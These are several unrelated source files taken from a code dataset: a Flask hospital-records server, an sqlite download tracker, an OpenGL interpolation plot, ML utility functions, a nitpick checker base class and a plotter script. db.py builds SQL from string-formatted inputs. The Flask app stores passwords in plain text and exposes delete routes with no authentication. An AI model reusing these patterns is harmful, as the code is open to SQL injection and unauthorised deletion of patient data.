Patemail:\n error = 'Email is required.' \n elif not PatID:\n error = 'ID is required.'\n elif not PatFname:\n error='Firstname is required.'\n elif not PatLname:\n error='Lastname is required.'\n elif not PatGender:\n error='Gender is required.'\n elif not PatNationality:\n error='Nationality is required.'\n elif not PatDay:\n error='Day is required.'\n elif not PatMonth:\n error='Month is required.'\n elif not PatYear:\n error='Year is required.'\n elif not Pataddress:\n error='Address is required.'\n elif not PatMobile:\n error='PatMobile is required.'\n elif not Weight:\n error='Weight is required.'\n elif not Height:\n error='Height is required.'\n elif not ChronicDiseases:\n error='Chronic Diseases are required.'\n elif not Allergies:\n error='Allergies are required.'\n elif not PreviousOperations:\n error='Previous Operations are required.'\n\n if error:\n return render_template('Patinfo.html',error=error)\n else:\n\n mycursor.execute(\"DELETE FROM Patients WHERE ID=%s\",(PatID,))\n mydb.commit()\n mycursor.execute('INSERT INTO Patients (UserName, ID , PassWord,FirstName, LastName,Gender,Nationality ,BDay,BMonth ,BYear, Mobile, Email ,Address) VALUES (%s, %s,%s,%s, %s,%s,%s, %s,%s,%s, %s,%s,%s)',\n (Patusername,PatID, Patpsw, PatFname,PatLname,PatGender,PatNationality,PatDay,PatMonth,PatYear,PatMobile,Patemail, Pataddress ))\n mydb.commit()\n \n return redirect(url_for('Patinfo'))\n else:\n PatID = session[\"PatID\"]\n mycursor.execute(\"SELECT * FROM Patins WHERE Patients.ID=%s \", (PatID,)) \n myresult = mycursor.fetchall()\n return render_template('PatientUpdate.html',result=myresult)\n@app.route('/DocUpdate', methods=['GET','POST']) \ndef DocUpdate():\n if request.method==\"POST\":\n DocID=session[\"DocID\"]\n Docusername=request.form['Docusername']\n Docpsw= request.form['Docpsw']\n DocFname=request.form['DocFname']\n DocLname=request.form['DocLname'] \n DocGender=request.form['DocGender']\n DocNationality=request.form['Docnationality']\n DocDay=request.form['DocDay']\n DocMonth=request.form['DocMonth']\n\n DocYear=request.form['DocYear']\n\n Docemail=request.form['Docemail']\n\n Docaddress=request.form['Docaddress']\n\n DocMobile=request.form['DocMobile']\n # sql= \"UPDATE Docotrs SET UserName=%s , PassWord=%s, FirstName=%s, LastName= %s, Gender=%s, Nationality=%s , Day=%s, Month=%s ,Year =%s, Mobile=%s, Email=%s ,Address= %s WHERE ID=%s \"\n # val=(Docusername, Docpsw, DocFname,DocLname,DocGender,DocNationality,DocDay,DocMonth,DocYear,DocMobile,Docemail, Docaddress, DocID )\n # mycursor.execute(sql,val)\n # mydb.commit()\n error=None\n if not Docusername:\n error = 'Username is required.'\n elif not Docpsw:\n error = 'Password is required.'\n elif not Docemail:\n error = 'Email is required.' \n elif not DocID:\n error = 'ID is required.'\n elif not DocFname:\n error='Firstname is required.'\n elif not DocLname:\n error='Lastname is required.'\n elif not DocGender:\n error='Gender is required.'\n elif not DocNationality:\n error='Nationality is required.'\n elif not DocDay:\n error='Day is required.'\n elif not DocMonth:\n error='Month is required.'\n elif not DocYear:\n error='Year is required.'\n elif not Docaddress:\n error='Address is required.'\n elif not DocMobile:\n error='DocMobile is required.'\n \n\n if error:\n return render_template('Docinfo.html',error=error)\n else:\n\n mycursor.execute(\"DELETE FROM Doctors WHERE ID=%s\",(DocID,))\n mydb.commit()\n mycursor.execute('INSERT INTO Doctors (UserName, ID , PassWord,FirstName, LastName,Gender,Nationality ,Day,Month ,Year, Mobile, Email ,Address) VALUES (%s, %s,%s,%s, %s,%s,%s, %s,%s,%s, %s,%s,%s)',\n (Docusername,DocID, Docpsw, DocFname,DocLname,DocGender,DocNationality,DocDay,DocMonth,DocYear,DocMobile,Docemail, Docaddress ))\n mydb.commit()\n \n return redirect(url_for('Docinfo'))\n else:\n DocID = session[\"DocID\"]\n mycursor.execute(\"SELECT * FROM Doctors WHERE Doctors.ID=%s \", (DocID,)) \n myresult = mycursor.fetchall()\n return render_template('DocUpdate.html',result=myresult)\n\n@app.route('/Admininfo')\ndef Admininfo() :\n if\"admID\" in session:\n admID = session[\"admID\"]\n mycursor.execute(\"SELECT * FROM Admins WHERE ID=%s \", (admID,)) \n myresult = mycursor.fetchall()\n return render_template('Admininfo.html',result=myresult)\n else: \n return render_template('login.html')\n \n\n@app.route('/Docinfo')\ndef Docinfo() :\n if\"DocID\" in session:\n DocID = session[\"DocID\"]\n mycursor.execute(\"SELECT * FROM Doctors WHERE Doctors.ID=%s \", (DocID,)) \n myresult = mycursor.fetchall()\n return render_template(\"Docinfo.html\",result=myresult)\n else:\n return render_template('login.html') \n\n@app.route('/Patinfo')\ndef Patinfo() :\n if\"PatID\" in session:\n PatID = session[\"PatID\"]\n mycursor.execute(\"SELECT * FROM Patients WHERE ID=%s \", (PatID,)) \n myresult = mycursor.fetchall()\n return render_template(\"Patinfo.html\",result=myresult)\n else:\n return render_template('login.html')\n\n@app.route('/DeleteDoctororPatient')\ndef DeleteDoctororPatient() :\n mycursor.execute(\"SELECT ID, FirstName, LastName, Mobile, Email FROM Doctors\")\n Docs = mycursor.fetchall()\n mycursor.execute(\"SELECT ID, FirstName, LastName, Mobile, Email FROM Patients\")\n Pats = mycursor.fetchall()\n return render_template('DeleteDoctororPatient.html', Doctors = Docs, Patients = Pats )\n\n@app.route('/ViewDeleteDoctorResult', methods=['GET', 'POST'])\ndef ViewDeleteDoctorResult() :\n if request.method == \"POST\" :\n DoctorID = request.form['DoctorID']\n sql1 = \"SELECT * FROM Doctors WHERE ID = %s\"\n val1 = (DoctorID,)\n mycursor.execute(sql1,val1)\n Doctor = mycursor.fetchall()\n if ( len(Doctor) == 0 ):\n return render_template('ViewDeleteDoctorResult.html', error = \"Doctor Not Deleted!\" )\n else:\n sql2 = \"DELETE FROM Doctors WHERE ID = %s\"\n val2 = (DoctorID,)\n mycursor.execute(sql2,val2)\n mydb.commit()\n return render_template('ViewDeleteDoctorResult.html', success = \"Doctor Deleted!\" )\n else:\n return render_template('ViewDeleteDoctorResult.html')\n\n@app.route('/ViewDeletePatientResult', methods=['GET', 'POST'])\ndef ViewDeletePatientResult() :\n if request.method == \"POST\" :\n PatientID = request.form['PatientID']\n sql1 = \"SELECT * FROM Patients WHERE ID = %s\"\n val1 = (PatientID,)\n mycursor.execute(sql1,val1)\n Patient= mycursor.fetchall()\n if ( len(Patient) == 0 ):\n return render_template('ViewDeletePatientResult.html', error = \"Patient Not Deleted!\" )\n else:\n sql2 = \"DELETE FROM Patients WHERE ID = %s\"\n val2 = (PatientID,)\n mycursor.execute(sql2,val2)\n mydb.commit()\n return render_template('ViewDeletePatientResult.html', success = \"Patient Deleted!\" )\n else:\n return render_template('ViewDeletePatientResult.html')\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":43421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"595928669","text":"import os\nimport sqlite3\nfrom utilities import DB_FILENAME\n\n\n\n\n# def connect() -> sqlite3.Connection:\n# conn = sqlite3.connect(DB_FILENAME)\n# return conn\n\n\ndef persist_download(title, season, episode):\n conn = sqlite3.connect(DB_FILENAME)\n identifier = \"{}S{}E{}\".format(title.replace(\" \", \"\"), str(season).replace(\" \", \"\"), str(episode).replace(\" \", \"\"))\n sql = \"INSERT INTO download(identifier, title, season, episode) VALUES ('{}', '{}', '{}', '{}')\".format(identifier,\n title,\n season,\n episode)\n conn.execute(sql)\n conn.commit()\n conn.close()\n\n\ndef persist_download2(identifier: str):\n conn = sqlite3.connect(DB_FILENAME)\n if not download_exists(identifier=identifier):\n sql = \"INSERT INTO download(identifier, title, season, episode) VALUES ('{}', '{}', '{}', '{}')\".format(\n identifier,\n None,\n None,\n None)\n conn.execute(sql)\n conn.commit()\n conn.close()\n\n\ndef download_exists(title: str, season: int, episode: int):\n\n # Identifier is concatenation of title, season and episode - everything without white space\n identifier = \"{}S{}E{}\".format(title.replace(\" \", \"\"), str(season).replace(\" \", \"\"), str(episode).replace(\" \", \"\"))\n conn = sqlite3.connect(DB_FILENAME)\n cursor = conn.cursor()\n sql = \"select * from download where identifier = '{}'\".format(identifier)\n cursor.execute(sql)\n result = cursor.fetchall()\n cursor.close()\n conn.close()\n if len(result) > 0:\n return True\n return False\n\n\ndef download_exists2(identifier: str):\n conn = sqlite3.connect(DB_FILENAME)\n cursor = conn.cursor()\n sql = \"select * from download where identifier = '{}'\".format(identifier)\n cursor.execute(sql)\n result = cursor.fetchall()\n cursor.close()\n conn.close()\n if len(result) > 0:\n return True\n return False\n","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"479897674","text":"from OpenGL.GL import *\r\nfrom OpenGL.GLU import *\r\nfrom OpenGL.GLUT import *\r\nimport numpy as np\r\n\r\nglobal c\r\n\r\n\r\ndef Lagrange(x):\r\n\tglobal c\r\n\r\n\ts = 0.0\r\n\tfor j in range(len(c)):\r\n\t\tph = 1.0\r\n\t\tpl = 1.0\r\n\t\tfor i in range(len(c)):\r\n\t\t\tif i == j: continue\r\n\t\t\tph *= x - c[i][0]\r\n\t\t\tpl *= c[j][0] - c[i][0]\r\n\t\ts += c[j][1] * ph / pl\r\n\treturn s\r\n \r\ndef Initialize():\r\n\tglClearColor(1.0, 1.0, 1.0, 1.0)\r\n\tglMatrixMode(GL_PROJECTION)\r\n\tglLoadIdentity()\r\n\tgluOrtho2D(-5, 5, -5, 5)\r\n\tglMatrixMode(GL_MODELVIEW)\r\n\tglLoadIdentity()\r\n \r\ndef Draw():\r\n\tglobal c\r\n\r\n\tglClear(GL_COLOR_BUFFER_BIT)\r\n\t\r\n\tglColor3f(0.0, 0.0, 0.0)# black\r\n\tglBegin(GL_LINES)# \t\t\tкоординатные оси\r\n\tglVertex2d(-5., 0.)\r\n\tglVertex2d(5., 0.)\r\n\tglVertex2d(0., -5.)\r\n\tglVertex2d(0., 5.)\r\n\tglVertex2d(5., 0.)\r\n\tglVertex2d(4.7, 0.2)\r\n\tglVertex2d(5., 0.)\r\n\tglVertex2d(4.7, -0.2)\r\n\tglVertex2d(0., 5.)\r\n\tglVertex2d(-0.1, 4.7)\r\n\tglVertex2d(0., 5.)\r\n\tglVertex2d(0.1, 4.7)\r\n\tglEnd()\r\n \r\n\tglColor3f(1., 0., 0.)\r\n\tglPointSize(2.0)\r\n\tglBegin(GL_POINTS)\r\n\tfor x in np.arange(-1.0, 1.0, 0.001): \r\n\t\tglVertex2d(x, Lagrange(x))\r\n\tglEnd()\r\n\t\r\n\t\r\n\tglColor3f(0., 0., 1.)\r\n\tglPointSize(5.0)\r\n\tglBegin(GL_POINTS)\r\n\tfor i in range(len(c)):\r\n\t\tglVertex2d(c[i][0], c[i][1])\r\n\tglEnd()\r\n\r\n\tglFlush()\r\n\r\ndef main():\r\n\tglobal c\r\n\r\n\tprint(\"Choose mod. 1 - auto, 2 - manual.\")\r\n\ttmp = input()\r\n\tif tmp == '1':\r\n\t\tc = [(-1., 0.5), (-0.6, 0.8), (-0.2, 1.0), (0.5, 0.1), (1.0, 0.9)]# our points\r\n\telse:\r\n\t\tprint(\"Enter 5 points:\")\r\n\t\tc = [[0., 0.], [0.0, 0.0], [0.0, 0.0], [0.0, 0.0], [0.0, 0.0]]\r\n\t\tpoint = np.array(2)\r\n\t\tfor i in range(5):\r\n\t\t\tc[i][0] = float(input())\r\n\t\t\tc[i][1] = float(input())\r\n\r\n\tglutInit()\r\n\tglutInitDisplayMode(GLUT_SINGLE | GLUT_RGB)\r\n\tglutInitWindowSize(800, 500)\r\n\tglutCreateWindow(\"Lagrange\")\r\n\tglutDisplayFunc(Draw)\r\n\tInitialize()\r\n\tglutMainLoop()\r\n\r\n\r\nmain()\r\n\r\n\r\n","sub_path":"KG/lab_7/lab_7.py","file_name":"lab_7.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"185982008","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 10 00:20:49 2017\n\n@author: Madhu\n\"\"\"\nimport os\n#import sys\nimport time\nimport pandas as pd\nimport numpy as np\nfrom scipy import stats\n#import nltk\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn import svm\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.decomposition import PCA\nfrom sklearn import mixture\n\nfrom sklearn.metrics import make_scorer\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import fbeta_score\nfrom sklearn import metrics\n\nfrom matplotlib import pyplot as plt\nimport seaborn as sns; sns.set()\n\npd.set_option('display.max_columns', None) # or 1000\npd.set_option('display.max_rows', None) # or 1000\npd.set_option('display.max_colwidth', -1) # or 199\n#nltk.download('punkt')\n\n#Function to load the data\ndef loadData(path,filename):\n try:\n files = os.listdir(path)\n for f in files:\n if f == filename:\n data = pd.read_csv(os.path.join(path,f))\n return data\n \n except Exception as ex:\n print (\"-----------------------------------------------------------------------\")\n template = \"An exception of type {0} occurred. Arguments:\\n{1!r}\"\n message = template.format(type(ex).__name__, ex.args)\n print (message)\n\n#Function to explore the data\ndef exploreData(data):\n try:\n #Total number of records \n rows = data.shape[0]\n cols = data.shape[1] \n \n # Print the results\n print (\"-----------------------------------------------------------------------\")\n print (\"Total number of records: {}\".format(rows))\n print (\"Total number of features: {}\".format(cols))\n print (\"-----------------------------------------------------------------------\")\n \n except Exception as ex:\n print (\"-----------------------------------------------------------------------\")\n template = \"An exception of type {0} occurred. Arguments:\\n{1!r}\"\n message = template.format(type(ex).__name__, ex.args)\n print (message)\n\ndef missingValues(data):\n try:\n # Total missing values\n mis_val = data.isnull().sum()\n \n # Percentage of missing values\n mis_val_percent = 100 * mis_val / len(data)\n \n # Make a table with the results\n mis_val_table = pd.concat([mis_val, mis_val_percent], axis=1)\n \n # Rename the columns\n mis_val_table_ren_columns = mis_val_table.rename(\n columns = {0 : 'Missing Values', 1 : '% of Total Values'})\n mis_val_table_ren_columns.head(4 )\n # Sort the table by percentage of missing descending\n misVal = mis_val_table_ren_columns[\n mis_val_table_ren_columns.iloc[:,1] != 0].sort_values(\n '% of Total Values', ascending=False).round(1)\n \n return misVal, mis_val_table_ren_columns\n\n except Exception as ex:\n print (\"-----------------------------------------------------------------------\")\n template = \"An exception of type {0} occurred. Arguments:\\n{1!r}\"\n message = template.format(type(ex).__name__, ex.args)\n print (message)\n\ndef transformData(df):\n try: \n #Get the list of columns having negative columns from describe\n nc = []\n for i in df.columns:\n if df[i].min() < 0:\n nc.append(i)\n \n target = df['shares']\n features_transform = pd.DataFrame(data = df)\n features_transform = features_transform.drop(columns=['shares'], axis=1)\n \n #Add constant value to make the negative values as positive.\n for i in nc:\n minv = features_transform[i].min()\n minv = minv * -1\n features_transform[i] = features_transform[i] + minv\n\n #Get the list of columns that are skew\n sc = []\n for i in features_transform.columns:\n if df[i].max() > 1:\n sc.append(i)\n \n #Scale the data to reduce the skewness \n# features_transform[sc] = features_transform[sc].apply(lambda x: np.log(x + 1))\n scaler = MinMaxScaler() # default=(0, 1)\n features_transform[sc] = scaler.fit_transform(features_transform[sc])\n \n ind = np.where(target < 1400)\n target.iloc[ind] = 1\n \n ind = np.where(target >=1400)\n target.iloc[ind] = 0\n\n return features_transform, target\n \n except Exception as ex:\n print (\"-----------------------------------------------------------------------\")\n template = \"An exception of type {0} occurred. Arguments:\\n{1!r}\"\n message = template.format(type(ex).__name__, ex.args)\n print (message)\n\n#split the data in to train and test data\ndef splitData(features,target,testsize):\n try:\n # Split the 'features' and 'income' data into training and testing sets\n X_train, X_test, y_train, y_test = train_test_split(features,\n target, \n test_size = testsize, \n random_state = 1)\n\n # Show the results of the split\n print (\"Features training set has {} samples.\".format(X_train.shape[0]))\n print (\"Features testing set has {} samples.\".format(X_test.shape[0]))\n print (\"Target training set has {} samples.\".format(y_train.shape[0]))\n print (\"Target testing set has {} samples.\".format(y_test.shape[0]))\n print (\"-----------------------------------------------------------------------\")\n return X_train, X_test, y_train, y_test\n except Exception as ex:\n print (\"-----------------------------------------------------------------------\")\n template = \"An exception of type {0} occurred. Arguments:\\n{1!r}\"\n message = template.format(type(ex).__name__, ex.args)\n print (message)\n \ndef corrPlot(corr):\n try:\n # Generate a mask for the upper triangle\n mask = np.triu(np.ones_like(corr, dtype=bool))\n \n # Set up the matplotlib figure\n f, ax = plt.subplots(figsize=(11, 9))\n \n # Generate a custom diverging colormap\n cmap = sns.diverging_palette(230, 20, as_cmap=True)\n \n # Draw the heatmap with the mask and correct aspect ratio\n sns.heatmap(corr, mask=mask, cmap=cmap, vmax=.3, center=0,\n square=True, linewidths=.5, cbar_kws={\"shrink\": .5})\n except Exception as ex:\n print (\"-----------------------------------------------------------------------\")\n template = \"An exception of type {0} occurred. Arguments:\\n{1!r}\"\n message = template.format(type(ex).__name__, ex.args)\n print (message)\n \ndef multinomialnb(X_train, X_test, y_train, y_test):\n try:\n #logic\n clf = MultinomialNB()\n params = {}\n\n scoring_fnc = make_scorer(fbeta_score,average='micro',beta=0.5)\n learner = GridSearchCV(clf,params,scoring=scoring_fnc)\n results = {}\n \n start_time = time.clock()\n grid = learner.fit(X_train,y_train)\n \n end_time = time.clock()\n results['train_time'] = end_time - start_time\n clf_fit_train = grid.best_estimator_\n start_time = time.clock()\n clf_predict_train = clf_fit_train.predict(X_train)\n clf_predict_test = clf_fit_train.predict(X_test)\n end_time = time.clock()\n results['pred_time'] = end_time - start_time \n \n results['acc_train'] = accuracy_score(y_train, clf_predict_train)\n results['acc_test'] = accuracy_score(y_test, clf_predict_test)\n results['f_train'] = fbeta_score(y_train, clf_predict_train, average='micro', beta=1)\n results['f_test'] = fbeta_score(y_test, clf_predict_test, average='micro', beta=1.5)\n \n return results,clf_fit_train \n except Exception as ex:\n print (\"-----------------------------------------------------------------------\")\n template = \"An exception of type {0} occurred. Arguments:\\n{1!r}\"\n message = template.format(type(ex).__name__, ex.args)\n print (message)\n \ndef svmClassifier(X_train, X_test, y_train, y_test):\n try:\n #Decision tree classifier\n #learner = DecisionTreeClassifier(criterion=method, max_depth=depth, random_state=1)\n clf = svm.SVC(random_state=0)\n params = {'gamma':[0.001]}\n #params = {'criterion':['gini','entropy'], 'max_depth' : np.array([6,7,8])}\n \n scoring_fnc = make_scorer(fbeta_score,average='micro',beta=0.5)\n learner = GridSearchCV(clf,params,scoring=scoring_fnc)\n results = {}\n \n start_time = time.clock()\n grid = learner.fit(X_train,y_train)\n \n end_time = time.clock()\n results['train_time'] = end_time - start_time\n clf_fit_train = grid.best_estimator_\n start_time = time.clock()\n clf_predict_train = clf_fit_train.predict(X_train)\n clf_predict_test = clf_fit_train.predict(X_test)\n end_time = time.clock()\n results['pred_time'] = end_time - start_time \n \n results['acc_train'] = accuracy_score(y_train, clf_predict_train)\n results['acc_test'] = accuracy_score(y_test, clf_predict_test)\n \n return results,clf_fit_train \n except Exception as ex:\n print (\"-----------------------------------------------------------------------\")\n template = \"An exception of type {0} occurred. Arguments:\\n{1!r}\"\n message = template.format(type(ex).__name__, ex.args)\n print (message)\n \ndef randomForest(X_train, X_test, y_train, y_test):\n try:\n clf = RandomForestClassifier(max_depth=2, random_state=0)\n #params = {}\n params = {'criterion':['gini','entropy'], 'max_depth' : np.array([6,7,8]),'random_state': [0]}\n \n scoring_fnc = make_scorer(fbeta_score,average='micro',beta=0.5)\n learner = GridSearchCV(clf,params,scoring=scoring_fnc)\n results = {}\n \n start_time = time.clock()\n grid = learner.fit(X_train,y_train)\n \n end_time = time.clock()\n results['train_time'] = end_time - start_time\n clf_fit_train = grid.best_estimator_\n start_time = time.clock()\n clf_predict_train = clf_fit_train.predict(X_train)\n clf_predict_test = clf_fit_train.predict(X_test)\n end_time = time.clock()\n results['pred_time'] = end_time - start_time \n \n results['acc_train'] = accuracy_score(y_train, clf_predict_train)\n results['acc_test'] = accuracy_score(y_test, clf_predict_test)\n \n return results,clf_fit_train, \n except Exception as ex:\n print (\"-----------------------------------------------------------------------\")\n template = \"An exception of type {0} occurred. Arguments:\\n{1!r}\"\n message = template.format(type(ex).__name__, ex.args)\n print (message)\n \ndef pca(features,dim):\n try:\n #logic\n pca = PCA(n_components=dim)\n pca.fit(features)\n reduced_dim = pca.transform(features)\n \n# from pics import pca_results\n# _ = pca_results(features, pca)\n \n dlist = [];\n for i in range(dim):\n s = \"D\" + str(i)\n dlist.append(s)\n pca_comp = pd.DataFrame(pca.components_,columns=features.columns,index = dlist)\n #pca_comp.transpose().to_csv('test.csv')\n return reduced_dim, pca_comp.transpose(), pca\n \n except Exception as ex:\n print (\"-----------------------------------------------------------------------\")\n template = \"An exception of type {0} occurred. Arguments:\\n{1!r}\"\n message = template.format(type(ex).__name__, ex.args)\n print (message)\n \ndef gclus(reduced_data,ic):\n try:\n cluster = mixture.GaussianMixture(covariance_type='spherical', init_params='kmeans',\n max_iter=100, means_init=None, n_components=ic, n_init=1,\n precisions_init=None, random_state=None, reg_covar=1e-06,\n tol=0.001, verbose=0, verbose_interval=10, warm_start=False,\n weights_init=None).fit(reduced_data)\n \n pred = cluster.predict(reduced_data)\n \n centers = np.empty(shape=(cluster.n_components, reduced_data.shape[1]))\n for i in range(cluster.n_components):\n density = stats.multivariate_normal(cov=cluster.covariances_[i], mean=cluster.means_[i]).logpdf(reduced_data)\n centers[i, :] = reduced_data[np.argmax(density)]\n score = metrics.silhouette_score(reduced_data, pred, metric='euclidean')\n \n return cluster, centers,score\n \n except Exception as ex:\n print (\"-----------------------------------------------------------------------\")\n template = \"An exception of type {0} occurred. Arguments:\\n{1!r}\"\n message = template.format(type(ex).__name__, ex.args)\n print (message)\n \ndef getCounts(flist,dat):\n try:\n #logic\n cols = []; counts = []; fake = [];\n for f in flist:\n ind = []\n ind = np.where((dat[f] == 1) & (dat['shares'] == 1))[0].tolist()\n #df1 = dat.loc[ind,['data_channel_is_lifestyle','shares']]\n cols.append(f)\n counts.append(len(ind))\n fake.append(False)\n \n for f in flist:\n ind = []\n ind = np.where((dat[f] == 1) & (dat['shares'] == 0))[0].tolist()\n #df1 = dat.loc[ind,['data_channel_is_lifestyle','shares']]\n cols.append(f)\n counts.append(len(ind))\n fake.append(True)\n \n df = pd.DataFrame(columns = ['feature','count','fake'])\n df['feature'] = cols\n df['count']= counts\n df['fake'] = fake \n \n return df\n except Exception as ex:\n print (\"-----------------------------------------------------------------------\")\n template = \"An exception of type {0} occurred. Arguments:\\n{1!r}\"\n message = template.format(type(ex).__name__, ex.args)\n print (message)\n\ndef get2Counts(flist,dat):\n try:\n #logic\n cols = []; counts = []; fake = [];\n for f in flist:\n ind = []\n ind = np.where((dat[f] != ' ') & (dat['shares'] == 1))[0].tolist()\n #df1 = dat.loc[ind,['data_channel_is_lifestyle','shares']]\n cols.append(f)\n counts.append(len(ind))\n fake.append(False)\n \n for f in flist:\n ind = []\n ind = np.where((dat[f] != ' ') & (dat['shares'] == 0))[0].tolist()\n #df1 = dat.loc[ind,['data_channel_is_lifestyle','shares']]\n cols.append(f)\n counts.append(len(ind))\n fake.append(True)\n \n df = pd.DataFrame(columns = ['feature','count','fake'])\n df['feature'] = cols\n df['count']= counts\n df['fake'] = fake \n \n return df\n except Exception as ex:\n print (\"-----------------------------------------------------------------------\")\n template = \"An exception of type {0} occurred. Arguments:\\n{1!r}\"\n message = template.format(type(ex).__name__, ex.args)\n print (message)","sub_path":"News-Muse/src/scripts/projectFunctions.py","file_name":"projectFunctions.py","file_ext":"py","file_size_in_byte":15884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"533563753","text":"\"\"\"Base class for file checkers.\"\"\"\nimport abc\nfrom typing import TYPE_CHECKING, Generator, List, Optional, Set, Type\n\nimport jmespath\n\nfrom nitpick.app import Nitpick\nfrom nitpick.formats import TomlFormat\nfrom nitpick.generic import get_subclasses, search_dict\nfrom nitpick.mixin import NitpickMixin\nfrom nitpick.typedefs import YieldFlake8Error\n\nif TYPE_CHECKING:\n from pathlib import Path\n from marshmallow import Schema\n from nitpick.typedefs import JsonDict # pylint: disable=ungrouped-imports\n\n\nclass BaseFile(NitpickMixin, metaclass=abc.ABCMeta):\n \"\"\"Base class for file checkers.\"\"\"\n\n has_multiple_files = False\n file_name = \"\"\n error_base_number = 300\n\n error_prefix = \"\"\n file_path = None # type: Path\n file_dict = {} # type: JsonDict\n nitpick_file_dict = {} # type: JsonDict\n\n #: Nested validation field for this file, to be applied in runtime when the validation schema is rebuilt.\n #: Useful when you have a strict configuration for a file type (e.g. :py:class:`nitpick.files.json.JSONFile`).\n nested_field = None # type: Optional[Schema]\n\n fixed_name_classes = set() # type: Set[Type[BaseFile]]\n dynamic_name_classes = set() # type: Set[Type[BaseFile]]\n\n def __init__(self) -> None:\n if self.has_multiple_files:\n key = \"{}.file_names\".format(self.__class__.__name__)\n self._multiple_files = search_dict(key, Nitpick.current_app().config.nitpick_section, []) # type: List[str]\n else:\n self._multiple_files = [self.file_name]\n self._set_current_data(self.file_name)\n\n @classmethod\n def load_fixed_dynamic_classes(cls) -> None:\n \"\"\"Separate classes with fixed file names from classes with dynamic files names.\"\"\"\n cls.fixed_name_classes = set()\n cls.dynamic_name_classes = set()\n for subclass in get_subclasses(BaseFile):\n if subclass.file_name:\n cls.fixed_name_classes.add(subclass)\n else:\n cls.dynamic_name_classes.add(subclass)\n\n def _set_current_data(self, file_name: str) -> None:\n \"\"\"Set data for the current file name, either if there are multiple or single files.\"\"\"\n if self.has_multiple_files:\n self.file_name = file_name\n\n self.error_prefix = \"File {}\".format(self.file_name)\n self.file_path = Nitpick.current_app().root_dir / self.file_name\n\n # Configuration for this file as a TOML dict, taken from the style file.\n self.file_dict = Nitpick.current_app().config.style_dict.get(TomlFormat.group_name_for(self.file_name), {})\n\n # Nitpick configuration for this file as a TOML dict, taken from the style file.\n self.nitpick_file_dict = search_dict(\n 'files.\"{}\"'.format(self.file_name), Nitpick.current_app().config.nitpick_section, {}\n )\n\n @classmethod\n def get_compiled_jmespath_file_names(cls):\n \"\"\"Return a compiled JMESPath expression for file names, using the class name as part of the key.\"\"\"\n return jmespath.compile(\"nitpick.{}.file_names\".format(cls.__name__))\n\n @property\n def multiple_files(self) -> Generator:\n \"\"\"Yield the next multiple file, one by one.\"\"\"\n for file_name in self._multiple_files:\n self._set_current_data(file_name)\n yield file_name\n\n def check_exists(self) -> YieldFlake8Error:\n \"\"\"Check if the file should exist.\"\"\"\n for _ in self.multiple_files:\n config_data_exists = bool(self.file_dict or self.nitpick_file_dict)\n should_exist = Nitpick.current_app().config.nitpick_files_section.get(\n TomlFormat.group_name_for(self.file_name), True\n ) # type: bool\n file_exists = self.file_path.exists()\n\n if config_data_exists and not file_exists:\n suggestion = self.suggest_initial_contents()\n phrases = [\" was not found\"]\n message = Nitpick.current_app().config.nitpick_files_section.get(self.file_name)\n if message and isinstance(message, str):\n phrases.append(message)\n if suggestion:\n phrases.append(\"Create it with this content:\")\n yield self.flake8_error(1, \". \".join(phrases), suggestion)\n elif not should_exist and file_exists:\n # Only display this message if the style is valid.\n if not Nitpick.current_app().style_errors:\n yield self.flake8_error(2, \" should be deleted\")\n elif file_exists and config_data_exists:\n yield from self.check_rules()\n\n @abc.abstractmethod\n def check_rules(self) -> YieldFlake8Error:\n \"\"\"Check rules for this file. It should be overridden by inherited classes if needed.\"\"\"\n\n @abc.abstractmethod\n def suggest_initial_contents(self) -> str:\n \"\"\"Suggest the initial content for this missing file.\"\"\"\n","sub_path":"src/nitpick/files/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"423365184","text":"from math import *\nfrom plotter import *\n \ndef carre(N, Ax, Ay, Bx, By):\n if (N==0):\n goto(Ax, Ay)\n pendown()\n move(Bx-Ax, 0)\n move(0, By-Ay)\n move(Ax-Bx, 0) \n move(0, Ay-By)\n penup()\n return\n goto(Ax, Ay)\n pendown()\n move(Bx-Ax, 0)\n move(0, By-Ay)\n move(Ax-Bx, 0) \n move(0, Ay-By)\n penup()\n N -= 1\n carre(N, Ax, Ay, (Ax+Bx)/2, (Ay+By)/2)\n carre(N, (Ax+Bx)/2, (Ay+By)/2, Bx, By)\n\ndef run(plotting):\n plotter_start()\n L=80000\n Ax=0 \n Ay=0\n Bx=L\n By=L\n\n carre(6, Ax, Ay, Bx, By)\n \n gohome()\n plotter_stop()\n\nif __name__ == \"__main__\": \n run(0)\n run(1)\n\n","sub_path":"python/v1/serial_cmd_carres.py","file_name":"serial_cmd_carres.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"622847861","text":"#-----------------------------------------------------------------------------\n# This file is part of the 'Development Board Examples'. It is subject to\n# the license terms in the LICENSE.txt file found in the top-level directory\n# of this distribution and at:\n# https://confluence.slac.stanford.edu/display/ppareg/LICENSE.html.\n# No part of the 'Development Board Examples', including this file, may be\n# copied, modified, propagated, or distributed except according to the terms\n# contained in the LICENSE.txt file.\n#-----------------------------------------------------------------------------\n\nimport pyrogue as pr\nimport DevBoard as devBoard\n\nimport pyrogue.protocols\nimport pyrogue.utilities.prbs\n\nimport rogue\nimport rogue.hardware.axi\nimport rogue.interfaces.stream\n\nclass MyRoot(pr.Root):\n def __init__( self,\n name = \"MyRoot\",\n description = \"my root container\",\n type = 'datadev',\n dev = '/dev/datadev_0',\n ip = '192.168.2.10',\n lane = 0,\n enPrbs = True,\n jumbo = False,\n 